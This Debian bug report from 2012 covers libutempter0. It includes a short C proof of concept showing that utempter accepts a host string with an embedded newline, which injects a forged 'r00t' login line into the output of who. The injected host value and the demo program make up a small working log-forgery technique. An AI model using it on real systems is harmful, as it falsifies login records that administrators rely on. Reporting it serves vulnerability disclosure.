Package: libutempter0 Version: 1.1.5-3 Severity: normal File: /usr/lib/utempter/utempter
Utempter does not (cannot?) verify the setting of host, so it can easily be faked. This may affect any software that depend on utmp correctness. Demo of the issue: psz@bari:~$ cat silly.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> int main() { int i; i = open("/dev/ptmx", O_RDWR); printf("open ptmx returned %d\n", i); dup2(i, 0); /* dup2(i, 1); */ printf("doing utempter add\n"); system("/usr/lib/utempter/utempter add 'xyz)\nr00t pts/0 Jan 1 01:02 (xyz.com'"); printf("checking who\n"); system("who | grep xyz"); printf("doing utempter del\n"); system("/usr/lib/utempter/utempter del"); printf("checking who\n"); system("who | grep xyz"); printf("DONE\n"); } psz@bari:~$ cc silly.c; a.out open ptmx returned 3 doing utempter add checking who psz pts/29 Oct 4 11:48 (xyz) r00t pts/0 Jan 1 01:02 (xyz.com) doing utempter del checking who DONE psz@bari:~$ Please see also: http://bugs.debian.org/329156 http://bugs.debian.org/330907 Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of Sydney Australia -- System Information: Debian Release: 6.0.6 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Kernel: Linux 3.2.19-pk06.01-i386 (SMP w/8 CPU cores) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/bash Versions of packages libutempter0 depends on: ii adduser 3.112+nmu2 add and remove users and groups ii libc6 2.11.3-4 Embedded GNU C Library: Shared lib libutempter0 recommends no packages. libutempter0 suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-qt-kde-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20121004020216.28236.9336.report...@bari.maths.usyd.edu.au